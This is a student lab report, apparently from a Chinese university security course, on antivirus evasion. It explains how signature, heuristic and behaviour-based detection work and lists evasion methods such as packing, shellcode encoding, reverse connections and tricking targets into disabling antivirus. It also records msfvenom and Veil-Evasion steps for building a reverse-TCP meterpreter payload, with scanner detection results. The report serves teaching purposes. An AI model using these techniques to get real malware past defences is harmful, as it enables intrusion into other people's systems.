20145234黄斐《网络攻防技术》实验三,免杀原理与实践
免杀
概述
- 免杀,也就是反病毒(AntiVirus)与反间谍(AntiSpyware)的对立面,英文为Anti-AntiVirus(简写Virus AV),逐字翻译为“反-反病毒”,翻译为“反杀毒技术”。
- 被谁杀?当然是被杀毒软件(引擎)杀。所以,要做好免杀技术(防御),就要弄清杀毒方式(攻击),也就是这些杀毒软件是如何工作的。
恶意代码检测方式
- 基于特征码的检测
- 特征库,也就是我们平时说的病毒库,它记录了一些恶意软件的特征码,这些特征码由一个不大于64字节的特征串组成,根据自己检测出或网络上已发现报告的病毒,对其多段提取特征码,构成了对恶意软件查杀的重要因素;
- 杀毒软件都有着自己的庞大病毒库(实际上就是由特征码构成的一个数据库),杀毒时只需与特征码进行比对就可判断出软件是否有毒;
- 根据以上介绍,我总结了这种方式的查杀特点:
- 病毒库越大,杀毒有效率越高;
- 因为收集的是已发现病毒的特征码,所以误报率低;
- 对部分新型病毒没有抵抗性,无法抵御零日攻击,需要定期更新病毒库。
- 启发式恶意软件检测
-
“When I see a bird that walks like a duck and swims like a duck and quacks like a duck, I call that bird a duck.”对照恶意软件检测来主说,就是如果一个软件在干通常是恶意软件干的事,看起来了像个恶意软件,那我们就把它当成一个恶意软件吧!
- 用较为专业的角度来解释就是,分析对象文件与病毒特征库中的病毒原码进行比较,当二者匹配率大于某一值时(通常这一值较小,所以容易误报),杀毒软件就会将其列为可疑文件以进行下一步的除理。
- 总结出以下特点:
- 查杀效率极高,不需要依赖庞大的病毒库;
- 对新型病毒有较好的预防性,可以抵御零日攻击;
- 因为分析是“启发式”的、不精确的、概率性的,所以其误报率也不可忽略;
- F-Prot是一款杀毒软件,有三个启发引擎,可见其是比较强大的,但其误报我也深感无能为力啊(后文会介绍)……
-
- 基于行为的恶意软件检测
- 其实这种检测与启发式的较为相近,都没有依赖病毒库,但是我感觉它比启发式更靠谱一点,它是在一种程序运行的状态下对其行为进行监控,如果有敏感行为会报毒,是一种动态的监测与捕捉;
- 总结出以下特点:
- 不过分依赖病毒库,效率高;
- 可以检测出获取权限等敏感行为,从这种意义上说,在一定程度上是可以抵御新型病毒的;
- 因为是对系统的一个动态监测,会占用部分系统资源。
免杀方式
- 只有弄懂了上述查杀原理,对免杀的方式才有更清晰的理解
- 改变特征码
- 加壳,通过加壳,让杀毒软件无法进行反汇编、逆向工程,进而无法分析代码
- 对shellcode进行编码、重组
- 改变行为
- 通讯方式
- 尽量使用反弹式连接(用的最多)
- 使用隧道技术
- 加密通讯数据
- 操作模式
- 基于内存操作
- 减少对系统的修改
- 通讯方式
- 其它方法
- 使用一个有漏洞的应用当成后门,编写攻击代码集成到如MSF中
- 使用社会工程学类攻击,诱骗目标关闭AV软件、点击木马软件
- 纯手工打造一个恶意软件
实践过程
1.msfvenom直接生成meterpreter可执行文件
提交之后,有很多程序查到了它是个病毒
2 Msfvenom使用编码器
多次编码后
基本没有变化
3.使用evail-evasion
- use python/meterpreter/rev_tcp
- set LHOST 192.168.199.143
- generate
- Please enter the base name for output files (default is 'payload'):hfhf
- 1
4.C语言调用Shellcode
这是目前通过数量最多的一个了
5.加壳,压缩壳UPX
数量较少,但仍未做到免杀,反而不如C语言调用Shellcode